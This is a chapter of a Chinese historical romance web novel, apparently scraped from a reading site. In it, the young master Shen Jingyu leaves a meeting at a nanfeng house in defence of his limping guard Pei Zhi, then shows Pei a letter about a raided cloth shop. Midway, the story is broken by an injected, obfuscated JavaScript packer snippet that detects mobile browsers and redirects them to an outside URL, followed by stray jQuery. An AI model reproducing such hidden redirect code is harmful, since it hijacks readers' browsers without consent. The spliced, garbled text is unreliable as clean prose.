“预想中?”沈惊钰凑近来,桃花眼凝着他,话语戏谑,“看来裴护卫你对这南风馆误会颇深呢。”
温热的气息骤地从耳畔拂过,裴治猛地偏头,险与沈惊钰撞上,他后退半步道:“若非你昨日那番话,我岂会多想?”
“那是我的错咯。”沈惊钰叫他这副窘态惹得发了笑,他摇开折扇轻轻点了点唇,遮掩住上扬的唇角,转身朝二楼走了去。
腰间的配饰相撞,响声清脆。
裴治叫他气得无话可说,支着拐一起上了楼。
到了雅间门前,老鸨前去叩响门环,捏着嗓子谄声道:“罗公子,沈公子到了。”
里屋一道沉而不浊的贵气声音传出:“快请进来。”
老鸨这才推开门,引着众人往里屋走,撩开幕帘,临窗而坐的青衫公子已然起身,他往前迎来,双手抱拳弯腰道:“惊钰,近来身子可好?”
沈惊钰合扇回礼,嗓音温润:“劳烦挂心,一切尚安。”
老鸨悄然退下,将雅间空给了几位。
罗奉雪将沈惊钰请到窗边坐下,才注意到他身后的裴治,不免好奇:“惊钰,这位是?”
“我前阵子捡来的近身护卫。”沈惊钰随口道。
罗奉雪提起酒壶,为沈惊钰斟了一杯酒,笑道:“我看穿着打扮确实是你府上的护卫,只是瞧着公子气度不凡,这才多嘴问了一句。”
“何况从前你出门也要有为近身伺候,不曾带过别人。”
沈惊钰抿了口酒,轻笑一声道:“有为不会武功,总要带一个能护我安危的人才行。”
“这是自然。”罗奉雪颔首,“近日姑苏城内也不太平,不知道哪里来了一批士兵,在城内四处拿人,像是在找什么逃犯,听说那城东一家布行就遭了殃,店员老板全被抓起来下了诏狱。”
“你虽远在这庄上,但那逃犯说不准也逃来了此处,你定要顾好自身安危。”罗奉雪言辞庄肃警醒说。
只是不等沈惊钰回话,他旁侧的裴治忙出声问:“你说那布行可是叫云锦布坊?”
“你这小护卫怎回事?主子说话岂有你插话的份?”罗奉雪蹙起眉轻斥道。
裴治正要厉声回怼,一直不说话的沈惊钰却回头睨了他一眼,那眼神分明带着警醒意味,提醒他注意自己如今身份。
裴治只得咬牙,生生将怒火咽回了肚。
沈惊钰笑着圆场:“奉雪兄,家奴不懂规矩,莫怪。”
“惊钰,非我多管闲事,你身份尊贵,让这等没规矩的下人在身边伺候,只会坏了你的声誉。”
“你若想要一个武艺高强的近侍,我府上自有专门训练的暗卫任你挑选。”罗奉雪见到裴治第一眼就心中不满。
他认识沈惊钰多年,身侧从来只有有为一个近身伺候的,如今平白多出了一个身强力壮的瘸腿护卫。
纵然那般无礼,惊钰也不曾出言责备,只叫罗奉雪恨自己幼时不去习武,如今做不了沈惊钰的近侍。
“何况我看他还是个瘸腿的,你……”
“奉雪。”沈惊钰将手中酒杯轻轻搁下,断了他的话,望向罗奉雪的眼神过于平静了。
罗奉雪脸色却倏然惨白:“惊钰,是我说错了话,你莫怪。”
今日见沈惊钰欣然赴约,又见他心情上佳,他一时多嘴说了这些话,可他忘记沈惊钰平生最厌恶别人插手他所决策之事了。
惹得沈惊钰不快,是他最不愿见到的事情了。
沈惊钰起身道:“今日既已见过了面,我们便改日再约吧。”
罗奉雪万分懊恼,心中不知扇了自己多少嘴巴,他起身想拦住沈惊钰,手堪堪抬起来一点又垂了下去。
无他,不敢罢了。
有为去撩开幕帘,搀扶着沈惊钰离开了房间。
裴治离开前回头看了眼,见罗奉雪颓废坐与地上,埋着头不知是何神态。
便是裴治脑子再过迟钝,也能悟出这姓罗的似乎对沈惊钰别有心思。
他心中顿时一阵恶寒,支着拐杖跟上了沈惊钰。
老鸨才招呼楼下伶人等沈惊钰点曲舞,这不过才半柱香不到,他竟就下楼要走了。
老鸨赶紧上前,“沈公子,您今儿是兴致不高,还是咱们小馆哪里招待不全,怎的还没用膳听曲就要走了?”
“青和他们可是就等公子您点曲儿呢。”老鸨招招手,唤来了两名清俊男子。
两人齐齐躬腰参见:“沈公子。”
嗓音刻意压低,轻轻柔柔的,带着刻意讨好的意味。
裴治是一眼也看不下去。
虽说这南风馆不是勾栏之所,但这怎么不算勾栏做派?
“今儿有要事,不便久留,改明儿再来。”沈惊钰合上折扇,笑吟吟阐释说。
他待人总是温和的,即便是对这些底层的人,也没有半点架子。
老鸨捏着手绢招呼身后的伶人们道:“还不送送沈公子。”
“沈公子慢走。”身后男女声音齐齐响起,沈惊钰笑着离开了馆内,有为走上前,又从腰间摸出了一锭银子塞给老鸨。
老鸨笑呵呵将银子塞进袖间,谄道:“有为公子,您也慢走。”
有为嘱咐:“莫要贫了,公子想听霓裳曲,您馆内这些伶人们可得抓紧子学会。”
“放心,我十三娘断不会叫公子失望的。”老鸨捏着手帕,扭着腰出馆相送。
馆内小厮已提前将马车牵了出来。
沈惊钰叫上裴治一起上了马车。
“公子,是直接回庄里吗?”马车外,有为声音传进来。
沈惊钰靠在车壁上,思忖道:“走莲花街回去吧。”
“是。”马车驱动,车夫调动车头,驱马朝另一条街驶了去。
裴治看了看沈惊钰,他这会儿侧身倚在马车的扶枕上,手抵在额角,似在小憩。
“有话说罢,别盯着看了。”沈惊钰分明没睁眼,却知晓裴治在看他。
这让裴治更疑心他了。
“你……为何与他闹不快?莫不是因为我?”裴治语带试探。
沈惊钰闻言睁眼,眼底晃过了一丝暗光,张嘴就扯谎道:“他当众为难你,我这做主子的总该向着我的人吧?”
裴治难为情道:“我方才也想过了,我如今的确是你近身护卫,在雅间那时是我错了。”
“你竟还知道反省?”沈惊钰当自己听岔了话。
裴治耳尖泛红:“你且当我没说那番话。”
沈惊钰低低笑出了声,他又笑了,笑起来那样好看,笑声也好听。
裴治将唇抿直成了一条线。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412274|200693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈惊钰当众维护他,为他还和朋友闹了不快,说不动容当然是假的,他如今再正视眼前人,又觉得沈惊钰这人其实还真不错。
“昨日母亲与我的书信中,提到了城中布桩一事。”沈惊钰笑声堪堪收住,便将马车暗格打开,从中取出了一封书信来。
“你且看看。”他递出去道。
裴治忙接过,拆开信封,一气读完了全部书信内容。
信中说城里被抄的布桩正是叫云锦布桩。
抄布桩的人也的确是官家人,说布桩是朝廷在逃犯人的容身之所,但那群‘官家’的手里既无文书公告也无证据,却就将布桩上下所有人拿下了诏狱。
如今犯人还未抓着。
闹得城中人心惶惶。
沈母来信,一为关心沈惊钰身体,二为提醒他出行注意。
见裴治读完了信件,沈惊钰才掀唇道:“你初醒时,曾让我为你送一封信,可是要我送去给这布桩?”
裴治一张脸失了血色。
这么说来,沈惊钰竟又救了他一命。
若那时沈惊钰答应寄出信件,他被接走后定不会即刻回皇城,只会先在布桩养好外伤,到今日后果自然不堪想。
而沈惊钰将他留下,却正好助他躲了一劫。
见裴治沉着脸不说话,沈惊钰又道:“所以你真是朝廷要犯?”
“我不是。”裴治忙看向他,语气焦急,“我是为奸人所害。”
“那你身份究竟是什么呢?”沈惊钰眼光在他身上迂回,仔细打量。
裴治:“我如今不便说。”
沈惊钰不强求,他抬手掩唇打了一个呵欠,“与你家公子都遮遮掩掩,真伤人心。”
“我是为你着想。”裴治说。
“知道了知道了,裴护卫心里想着我呢。”沈惊钰合扇,抬起手抵在他胸口敲了敲,又提着唇笑。
裴治将信件合上,装回信封,一并交还了沈惊钰。
沈惊钰接过去,打开暗格,将信件丢了进去。
他这一懒散动作,让裴治看见了暗格里的东西,一些珠宝首饰,几本书和一把折扇,还有一些银钱。
沈惊钰的手在银钱上方悬停片刻,随即挑了一文钱扔给裴治,说:“前边有卖糖葫芦的,你下去为我买一串上来。”
裴治接过,倒没什么怨言,车停下后,他竟真下车去为沈惊钰买糖葫芦了。
沈惊钰坐直身,撩开车帘往外看,那卖糖葫芦的大爷正亢声叫卖,裴治拿着钱去。
不多时裴治又折返回来。
他站在马车旁,一脸窘态地和车窗后的沈惊钰说:“老人家说最低要三文钱。”
沈惊钰两指夹起一粒碎银,从车窗送了出去,裴治接过,又回去到了摊前。
沈惊钰手肘压在窗沿,他手托着脸,意味深长地看着远处的人。
方才裴治分明见到了暗格中有多余碎银,却还是只拿着一文钱就下了马车。
可见裴治不清楚糖葫芦的价钱。
但连他都知道一串糖葫芦的价钱,裴治却不知道……
又可见裴治从前的生活中是接触不到这类商贩的。
这个叫裴厌之的人,身份着实不简单呢。沈惊钰放下车帘,背靠车壁,低低笑了两声,心情极佳的样子。